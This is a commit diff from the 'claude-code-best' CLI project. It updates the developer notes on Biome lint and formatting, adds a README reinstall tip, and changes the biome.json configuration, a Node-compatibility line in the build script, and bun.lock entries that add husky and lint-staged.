- **构建产物兼容 Node.js** — `build.ts` 会自动后处理 `import.meta.require`,产物可直接用 `node dist/cli.js` 运行。
- **Biome 配置** — 大量 lint 规则被关闭(decompiled 代码不适合严格 lint`.tsx` 文件用 120 行宽 + 强制分号;其他文件 80 行宽 + 按需分号
- **Biome 配置** — 42 条 lint 规则decompiled 代码被关闭,仅保留 `recommended` 基线。格式化覆盖全项目(`src/``scripts/``packages/`,含 `packages/@ant/`)。`.tsx` 文件用 120 行宽 + 强制分号;其他文件 80 行宽 + 按需分号。JSON 格式化已启用。`.editorconfig` 与 Biome 配置对齐2-space 缩进)。修改任何代码后应运行 `bun run check` 确认无 lint/格式问题pre-commit hook 会自动拦截不合格提交
- **tsc 与 Biome 冲突处理** — 当 tsc 要求声明属性(赋值使用)但 biome 报 `noUnusedPrivateClassMembers`(只写不读)时,用 `// biome-ignore lint/correctness/noUnusedPrivateClassMembers: <原因>` 抑制 lint 警告,保留类型声明。`biome ci` 必须零 warnings。
- **`@ts-expect-error` 维护** — 只在下方代码确实有类型错误时保留 `@ts-expect-error`。如果类型系统已更新导致 directive 变为 unusedTS2578直接移除注释。MACRO 替换产生的永假比较(如 `'production' === 'development'`)仍需保留 `@ts-expect-error`
- **Ink 框架在 `packages/@ant/ink/`** — 不是 `src/ink/`该目录不存在。Ink 相关的组件、hooks、keybindings 都在 packages 中。
- **Provider 优先级** — `modelType` 参数 > 环境变量 > 默认 `firstParty`。新增 provider 需在 `src/utils/model/providers.ts` 注册。

View File

@@ -34,7 +34,7 @@
| GrowthBook | 企业级特性开关 | [文档](https://ccb.agent-aura.top/docs/internals/growthbook-adapter) |
| /dream 记忆整理 | 自动整理和优化记忆文件 | [文档](https://ccb.agent-aura.top/docs/features/auto-dream) |
- 🚀 [想要启动项目](#快速开始源码版)
- 🚀 [想要启动项目](#-快速开始源码版)
- 🐛 [想要调试项目](#vs-code-调试)
- 📖 [想要学习项目](#teach-me-学习项目)
@@ -55,6 +55,8 @@ ccb update # 更新到最新版本
CLAUDE_BRIDGE_BASE_URL=https://remote-control.claude-code-best.win/ CLAUDE_BRIDGE_OAUTH_TOKEN=test-my-key ccb --remote-control # 我们有自部署的远程控制
```
> **安装/更新失败?** 先 `npm rm -g claude-code-best` 清理旧版本,再 `npm i -g claude-code-best@latest`。仍失败则指定版本号:`npm i -g claude-code-best@<版本号>`
## ⚡ 快速开始(源码版)
### ⚙️ 环境要求

1330
V6.md

File diff suppressed because it is too large Load Diff

View File

@@ -1,114 +1,113 @@
{
"$schema": "https://biomejs.dev/schemas/2.4.10/schema.json",
"vcs": {
"enabled": true,
"clientKind": "git",
"useIgnoreFile": true
},
"files": {
"includes": ["**", "!!**/dist", "!!**/packages/@ant"]
},
"formatter": {
"enabled": true,
"indentStyle": "space",
"indentWidth": 2,
"lineWidth": 80
},
"linter": {
"enabled": true,
"rules": {
"recommended": true,
"suspicious": {
"noExplicitAny": "off",
"noAssignInExpressions": "off",
"noDoubleEquals": "off",
"noRedeclare": "off",
"noImplicitAnyLet": "off",
"noGlobalIsNan": "off",
"noFallthroughSwitchClause": "off",
"noShadowRestrictedNames": "off",
"noArrayIndexKey": "off",
"noConsole": "off",
"noConfusingLabels": "off",
"useIterableCallbackReturn": "off"
},
"style": {
"useConst": "off",
"noNonNullAssertion": "off",
"noParameterAssign": "off",
"useDefaultParameterLast": "off",
"noUnusedTemplateLiteral": "off",
"useTemplate": "off",
"useNumberNamespace": "off",
"useNodejsImportProtocol": "off",
"useImportType": "off"
},
"complexity": {
"noForEach": "off",
"noBannedTypes": "off",
"noUselessConstructor": "off",
"noStaticOnlyClass": "off",
"useOptionalChain": "off",
"noUselessSwitchCase": "off",
"noUselessFragments": "off",
"noUselessTernary": "off",
"noUselessLoneBlockStatements": "off",
"noUselessEmptyExport": "off",
"useArrowFunction": "off",
"useLiteralKeys": "off"
},
"correctness": {
"noUnusedVariables": "off",
"noUnusedImports": "off",
"useExhaustiveDependencies": "off",
"noSwitchDeclarations": "off",
"noUnreachable": "off",
"useHookAtTopLevel": "off",
"noVoidTypeReturn": "off",
"noConstantCondition": "off",
"noUnusedFunctionParameters": "off"
},
"a11y": {
"recommended": false
},
"nursery": {
"recommended": false
}
}
},
"json": {
"formatter": {
"enabled": false
}
},
"javascript": {
"formatter": {
"quoteStyle": "single",
"semicolons": "asNeeded",
"arrowParentheses": "asNeeded",
"trailingCommas": "all"
}
},
"overrides": [
{
"includes": ["**/*.tsx"],
"javascript": {
"formatter": {
"semicolons": "always"
}
},
"formatter": {
"lineWidth": 120
}
},
{
"includes": ["scripts/**", "packages/**", "**/*.js", "**/*.mjs", "**/*.jsx"],
"formatter": {
"enabled": false
}
}
],
"assist": {
"enabled": false
}
"$schema": "https://biomejs.dev/schemas/2.4.12/schema.json",
"vcs": {
"enabled": true,
"clientKind": "git",
"useIgnoreFile": true
},
"files": {
"includes": ["**", "!!**/dist"]
},
"formatter": {
"enabled": true,
"indentStyle": "space",
"indentWidth": 2,
"lineWidth": 80
},
"linter": {
"enabled": true,
"rules": {
"recommended": true,
"suspicious": {
"noExplicitAny": "off",
"noAssignInExpressions": "off",
"noDoubleEquals": "off",
"noRedeclare": "off",
"noImplicitAnyLet": "off",
"noGlobalIsNan": "off",
"noFallthroughSwitchClause": "off",
"noShadowRestrictedNames": "off",
"noArrayIndexKey": "off",
"noConsole": "off",
"noConfusingLabels": "off",
"useIterableCallbackReturn": "off"
},
"style": {
"useConst": "off",
"noNonNullAssertion": "off",
"noParameterAssign": "off",
"useDefaultParameterLast": "off",
"noUnusedTemplateLiteral": "off",
"useTemplate": "off",
"useNumberNamespace": "off",
"useNodejsImportProtocol": "off",
"useImportType": "off"
},
"complexity": {
"noForEach": "off",
"noBannedTypes": "off",
"noUselessConstructor": "off",
"noStaticOnlyClass": "off",
"useOptionalChain": "off",
"noUselessSwitchCase": "off",
"noUselessFragments": "off",
"noUselessTernary": "off",
"noUselessLoneBlockStatements": "off",
"noUselessEmptyExport": "off",
"useArrowFunction": "off",
"useLiteralKeys": "off"
},
"correctness": {
"noUnusedVariables": "off",
"noUnusedImports": "off",
"useExhaustiveDependencies": "off",
"noSwitchDeclarations": "off",
"noUnreachable": "off",
"useHookAtTopLevel": "off",
"noVoidTypeReturn": "off",
"noConstantCondition": "off",
"noUnusedFunctionParameters": "off"
},
"a11y": {
"recommended": false
},
"nursery": {
"recommended": false
}
}
},
"json": {
"formatter": {
"enabled": true
}
},
"css": {
"parser": {
"tailwindDirectives": true
}
},
"javascript": {
"formatter": {
"quoteStyle": "single",
"semicolons": "asNeeded",
"arrowParentheses": "asNeeded",
"trailingCommas": "all"
}
},
"overrides": [
{
"includes": ["**/*.tsx"],
"javascript": {
"formatter": {
"semicolons": "always"
}
},
"formatter": {
"lineWidth": 120
}
}
],
"assist": {
"enabled": false
}
}

View File

@@ -56,7 +56,8 @@ for (const file of files) {
// (e.g. @anthropic-ai/sandbox-runtime) so Node.js doesn't crash at import time.
let bunPatched = 0
const BUN_DESTRUCTURE = /var \{([^}]+)\} = globalThis\.Bun;?/g
const BUN_DESTRUCTURE_SAFE = 'var {$1} = typeof globalThis.Bun !== "undefined" ? globalThis.Bun : {};'
const BUN_DESTRUCTURE_SAFE =
'var {$1} = typeof globalThis.Bun !== "undefined" ? globalThis.Bun : {};'
for (const file of files) {
if (!file.endsWith('.js')) continue
const filePath = join(outdir, file)

View File

@@ -103,11 +103,13 @@
"google-auth-library": "^10.6.2",
"he": "^1.2.0",
"https-proxy-agent": "^8.0.0",
"husky": "^9.1.7",
"ignore": "^7.0.5",
"image-processor-napi": "workspace:*",
"indent-string": "^5.0.0",
"jsonc-parser": "^3.3.1",
"knip": "^6.4.1",
"lint-staged": "^16.4.0",
"lodash-es": "^4.18.1",
"lru-cache": "^11.3.5",
"marked": "^17.0.6",
@@ -1538,6 +1540,8 @@
"ajv-formats": ["ajv-formats@3.0.1", "https://registry.npmmirror.com/ajv-formats/-/ajv-formats-3.0.1.tgz", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="],
"ansi-escapes": ["ansi-escapes@7.3.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg=="],
"ansi-regex": ["ansi-regex@6.2.2", "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-6.2.2.tgz", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
"ansi-styles": ["ansi-styles@6.2.3", "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-6.2.3.tgz", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="],
@@ -1632,8 +1636,12 @@
"cli-boxes": ["cli-boxes@4.0.1", "https://registry.npmmirror.com/cli-boxes/-/cli-boxes-4.0.1.tgz", {}, "sha512-5IOn+jcCEHEraYolBPs/sT4BxYCe2nHg374OPiItB1O96KZFseS2gthU4twyYzeDcFew4DaUM/xwc5BQf08JJw=="],
"cli-cursor": ["cli-cursor@5.0.0", "", { "dependencies": { "restore-cursor": "^5.0.0" } }, "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw=="],
"cli-highlight": ["cli-highlight@2.1.11", "https://registry.npmmirror.com/cli-highlight/-/cli-highlight-2.1.11.tgz", { "dependencies": { "chalk": "^4.0.0", "highlight.js": "^10.7.1", "mz": "^2.4.0", "parse5": "^5.1.1", "parse5-htmlparser2-tree-adapter": "^6.0.0", "yargs": "^16.0.0" }, "bin": { "highlight": "bin/highlight" } }, "sha512-9KDcoEVwyUXrjcJNvHD0NFc/hiwe/WPVYIleQh2O1N2Zro5gWJZ/K+3DGn8w8P/F6FxOgzyC5bxDyHIgCSPhGg=="],
"cli-truncate": ["cli-truncate@5.2.0", "", { "dependencies": { "slice-ansi": "^8.0.0", "string-width": "^8.2.0" } }, "sha512-xRwvIOMGrfOAnM1JYtqQImuaNtDEv9v6oIYAs4LIHwTiKee8uwvIi363igssOC0O5U04i4AlENs79LQLu9tEMw=="],
"cli-width": ["cli-width@4.1.0", "https://registry.npmmirror.com/cli-width/-/cli-width-4.1.0.tgz", {}, "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ=="],
"cliui": ["cliui@7.0.4", "https://registry.npmmirror.com/cliui/-/cliui-7.0.4.tgz", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^7.0.0" } }, "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ=="],
@@ -1820,6 +1828,8 @@
"env-paths": ["env-paths@4.0.0", "https://registry.npmmirror.com/env-paths/-/env-paths-4.0.0.tgz", { "dependencies": { "is-safe-filename": "^0.1.0" } }, "sha512-pxP8eL2SwwaTRi/KHYwLYXinDs7gL3jxFcBYmEdYfZmZXbaVDvdppd0XBU8qVz03rDfKZMXg1omHCbsJjZrMsw=="],
"environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="],
"es-define-property": ["es-define-property@1.0.1", "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.1.tgz", {}, "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g=="],
"es-errors": ["es-errors@1.3.0", "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="],
@@ -1840,6 +1850,8 @@
"etag": ["etag@1.8.1", "https://registry.npmmirror.com/etag/-/etag-1.8.1.tgz", {}, "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="],
"eventemitter3": ["eventemitter3@5.0.4", "", {}, "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw=="],
"eventsource": ["eventsource@3.0.7", "https://registry.npmmirror.com/eventsource/-/eventsource-3.0.7.tgz", { "dependencies": { "eventsource-parser": "^3.0.1" } }, "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA=="],
"eventsource-parser": ["eventsource-parser@3.0.6", "https://registry.npmmirror.com/eventsource-parser/-/eventsource-parser-3.0.6.tgz", {}, "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg=="],
@@ -2014,6 +2026,8 @@
"human-signals": ["human-signals@8.0.1", "https://registry.npmmirror.com/human-signals/-/human-signals-8.0.1.tgz", {}, "sha512-eKCa6bwnJhvxj14kZk5NCPc6Hb6BdsU9DZcOnmQKSnO1VKrfV0zCvtttPZUsBvjmNDn8rpcJfpwSYnHBjc95MQ=="],
"husky": ["husky@9.1.7", "", { "bin": { "husky": "bin.js" } }, "sha512-5gs5ytaNjBrh5Ow3zrvdUUY+0VxIuWVL4i9irt6friV+BqdCfmV11CQTWMiBYWHbXhco+J1kHfTOUkePhCDvMA=="],
"iconv-lite": ["iconv-lite@0.7.2", "https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.7.2.tgz", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="],
"ignore": ["ignore@7.0.5", "https://registry.npmmirror.com/ignore/-/ignore-7.0.5.tgz", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="],
@@ -2140,6 +2154,10 @@
"lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "https://registry.npmmirror.com/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="],
"lint-staged": ["lint-staged@16.4.0", "", { "dependencies": { "commander": "^14.0.3", "listr2": "^9.0.5", "picomatch": "^4.0.3", "string-argv": "^0.3.2", "tinyexec": "^1.0.4", "yaml": "^2.8.2" }, "bin": { "lint-staged": "bin/lint-staged.js" } }, "sha512-lBWt8hujh/Cjysw5GYVmZpFHXDCgZzhrOm8vbcUdobADZNOK/bRshr2kM3DfgrrtR1DQhfupW9gnIXOfiFi+bw=="],
"listr2": ["listr2@9.0.5", "", { "dependencies": { "cli-truncate": "^5.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", "rfdc": "^1.4.1", "wrap-ansi": "^9.0.0" } }, "sha512-ME4Fb83LgEgwNw96RKNvKV4VTLuXfoKudAmm2lP8Kk87KaMK0/Xrx/aAkMWmT8mDb+3MlFDspfbCs7adjRxA2g=="],
"locate-path": ["locate-path@5.0.0", "https://registry.npmmirror.com/locate-path/-/locate-path-5.0.0.tgz", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
"lodash-es": ["lodash-es@4.18.1", "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.18.1.tgz", {}, "sha512-J8xewKD/Gk22OZbhpOVSwcs60zhd95ESDwezOFuA3/099925PdHJ7OFHNTGtajL3AlZkykD32HykiMo+BIBI8A=="],
@@ -2162,6 +2180,8 @@
"lodash.once": ["lodash.once@4.1.1", "https://registry.npmmirror.com/lodash.once/-/lodash.once-4.1.1.tgz", {}, "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg=="],
"log-update": ["log-update@6.1.0", "", { "dependencies": { "ansi-escapes": "^7.0.0", "cli-cursor": "^5.0.0", "slice-ansi": "^7.1.0", "strip-ansi": "^7.1.0", "wrap-ansi": "^9.0.0" } }, "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w=="],
"long": ["long@5.3.2", "https://registry.npmmirror.com/long/-/long-5.3.2.tgz", {}, "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA=="],
"longest-streak": ["longest-streak@3.1.0", "https://registry.npmmirror.com/longest-streak/-/longest-streak-3.1.0.tgz", {}, "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g=="],
@@ -2292,6 +2312,8 @@
"mimic-fn": ["mimic-fn@2.1.0", "https://registry.npmmirror.com/mimic-fn/-/mimic-fn-2.1.0.tgz", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="],
"mimic-function": ["mimic-function@5.0.1", "", {}, "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA=="],
"minimatch": ["minimatch@10.2.5", "https://registry.npmmirror.com/minimatch/-/minimatch-10.2.5.tgz", { "dependencies": { "brace-expansion": "^5.0.5" } }, "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg=="],
"minimist": ["minimist@1.2.8", "https://registry.npmmirror.com/minimist/-/minimist-1.2.8.tgz", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
@@ -2540,10 +2562,14 @@
"resolve-pkg-maps": ["resolve-pkg-maps@1.0.0", "https://registry.npmmirror.com/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz", {}, "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw=="],
"restore-cursor": ["restore-cursor@5.1.0", "", { "dependencies": { "onetime": "^7.0.0", "signal-exit": "^4.1.0" } }, "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA=="],
"retry": ["retry@0.12.0", "https://registry.npmmirror.com/retry/-/retry-0.12.0.tgz", {}, "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow=="],
"reusify": ["reusify@1.1.0", "https://registry.npmmirror.com/reusify/-/reusify-1.1.0.tgz", {}, "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw=="],
"rfdc": ["rfdc@1.4.1", "", {}, "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA=="],
"robust-predicates": ["robust-predicates@3.0.3", "https://registry.npmmirror.com/robust-predicates/-/robust-predicates-3.0.3.tgz", {}, "sha512-NS3levdsRIUOmiJ8FZWCP7LG3QpJyrs/TE0Zpf1yvZu8cAJJ6QMW92H1c7kWpdIHo8RvmLxN/o2JXTKHp74lUA=="],
"rolldown": ["rolldown@1.0.0-rc.15", "https://registry.npmmirror.com/rolldown/-/rolldown-1.0.0-rc.15.tgz", { "dependencies": { "@oxc-project/types": "=0.124.0", "@rolldown/pluginutils": "1.0.0-rc.15" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.0.0-rc.15", "@rolldown/binding-darwin-arm64": "1.0.0-rc.15", "@rolldown/binding-darwin-x64": "1.0.0-rc.15", "@rolldown/binding-freebsd-x64": "1.0.0-rc.15", "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-rc.15", "@rolldown/binding-linux-arm64-gnu": "1.0.0-rc.15", "@rolldown/binding-linux-arm64-musl": "1.0.0-rc.15", "@rolldown/binding-linux-ppc64-gnu": "1.0.0-rc.15", "@rolldown/binding-linux-s390x-gnu": "1.0.0-rc.15", "@rolldown/binding-linux-x64-gnu": "1.0.0-rc.15", "@rolldown/binding-linux-x64-musl": "1.0.0-rc.15", "@rolldown/binding-openharmony-arm64": "1.0.0-rc.15", "@rolldown/binding-wasm32-wasi": "1.0.0-rc.15", "@rolldown/binding-win32-arm64-msvc": "1.0.0-rc.15", "@rolldown/binding-win32-x64-msvc": "1.0.0-rc.15" }, "bin": { "rolldown": "bin/cli.mjs" } }, "sha512-Ff31guA5zT6WjnGp0SXw76X6hzGRk/OQq2hE+1lcDe+lJdHSgnSX6nK3erbONHyCbpSj9a9E+uX/OvytZoWp2g=="],
@@ -2604,6 +2630,8 @@
"simple-swizzle": ["simple-swizzle@0.2.4", "https://registry.npmmirror.com/simple-swizzle/-/simple-swizzle-0.2.4.tgz", { "dependencies": { "is-arrayish": "^0.3.1" } }, "sha512-nAu1WFPQSMNr2Zn9PGSZK9AGn4t/y97lEm+MXTtUDwfP0ksAIX4nO+6ruD9Jwut4C49SB1Ws+fbXsm/yScWOHw=="],
"slice-ansi": ["slice-ansi@8.0.0", "", { "dependencies": { "ansi-styles": "^6.2.3", "is-fullwidth-code-point": "^5.1.0" } }, "sha512-stxByr12oeeOyY2BlviTNQlYV5xOj47GirPr4yA1hE9JCtxfQN0+tVbkxwCtYDQWhEKWFHsEK48ORg5jrouCAg=="],
"smol-toml": ["smol-toml@1.6.1", "https://registry.npmmirror.com/smol-toml/-/smol-toml-1.6.1.tgz", {}, "sha512-dWUG8F5sIIARXih1DTaQAX4SsiTXhInKf1buxdY9DIg4ZYPZK5nGM1VRIYmEbDbsHt7USo99xSLFu5Q1IqTmsg=="],
"sonic-boom": ["sonic-boom@4.2.1", "https://registry.npmmirror.com/sonic-boom/-/sonic-boom-4.2.1.tgz", { "dependencies": { "atomic-sleep": "^1.0.0" } }, "sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q=="],
@@ -2622,6 +2650,8 @@
"streamdown": ["streamdown@1.6.11", "https://registry.npmmirror.com/streamdown/-/streamdown-1.6.11.tgz", { "dependencies": { "clsx": "^2.1.1", "hast": "^1.0.0", "hast-util-to-jsx-runtime": "^2.3.6", "html-url-attributes": "^3.0.1", "katex": "^0.16.22", "lucide-react": "^0.542.0", "marked": "^16.2.1", "mermaid": "^11.11.0", "rehype-harden": "^1.1.6", "rehype-katex": "^7.0.1", "rehype-raw": "^7.0.0", "rehype-sanitize": "^6.0.0", "remark-cjk-friendly": "^1.2.3", "remark-cjk-friendly-gfm-strikethrough": "^1.2.3", "remark-gfm": "^4.0.1", "remark-math": "^6.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.1.2", "remend": "1.0.1", "shiki": "^3.12.2", "tailwind-merge": "^3.3.1", "unified": "^11.0.5", "unist-util-visit": "^5.0.0" }, "peerDependencies": { "react": "^18.0.0 || ^19.0.0" } }, "sha512-Y38fwRx5kCKTluwM+Gf27jbbi9q6Qy+WC9YrC1YbCpMkktT3PsRBJHMWiqYeF8y/JzLpB1IzDoeaB6qkQEDnAA=="],
"string-argv": ["string-argv@0.3.2", "", {}, "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q=="],
"string-width": ["string-width@8.2.0", "https://registry.npmmirror.com/string-width/-/string-width-8.2.0.tgz", { "dependencies": { "get-east-asian-width": "^1.5.0", "strip-ansi": "^7.1.2" } }, "sha512-6hJPQ8N0V0P3SNmP6h2J99RLuzrWz2gvT7VnK5tKvrNqJoyS9W4/Fb8mo31UiPvy00z7DQXkP2hnKBVav76thw=="],
"stringify-entities": ["stringify-entities@4.0.4", "https://registry.npmmirror.com/stringify-entities/-/stringify-entities-4.0.4.tgz", { "dependencies": { "character-entities-html4": "^2.0.0", "character-entities-legacy": "^3.0.0" } }, "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg=="],
@@ -3280,6 +3310,14 @@
"katex/commander": ["commander@8.3.0", "https://registry.npmmirror.com/commander/-/commander-8.3.0.tgz", {}, "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww=="],
"lint-staged/commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="],
"listr2/wrap-ansi": ["wrap-ansi@9.0.2", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww=="],
"log-update/slice-ansi": ["slice-ansi@7.1.2", "", { "dependencies": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" } }, "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w=="],
"log-update/wrap-ansi": ["wrap-ansi@9.0.2", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww=="],
"mdast-util-find-and-replace/escape-string-regexp": ["escape-string-regexp@5.0.0", "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="],
"mermaid/marked": ["marked@16.4.2", "https://registry.npmmirror.com/marked/-/marked-16.4.2.tgz", { "bin": { "marked": "bin/marked.js" } }, "sha512-TI3V8YYWvkVf3KJe1dRkpnjs68JUPyEa5vjKrp1XEEJUAOaQc+Qj+L1qWbPd0SJuAdQkFU0h73sXXqwDYxsiDA=="],
@@ -3310,6 +3348,8 @@
"radix-ui/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "https://registry.npmmirror.com/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="],
"restore-cursor/onetime": ["onetime@7.0.0", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="],
"rolldown/@oxc-project/types": ["@oxc-project/types@0.124.0", "https://registry.npmmirror.com/@oxc-project/types/-/types-0.124.0.tgz", {}, "sha512-VBFWMTBvHxS11Z5Lvlr3IWgrwhMTXV+Md+EQF0Xf60+wAdsGFTBx7X7K/hP4pi8N7dcm1RvcHwDxZ16Qx8keUg=="],
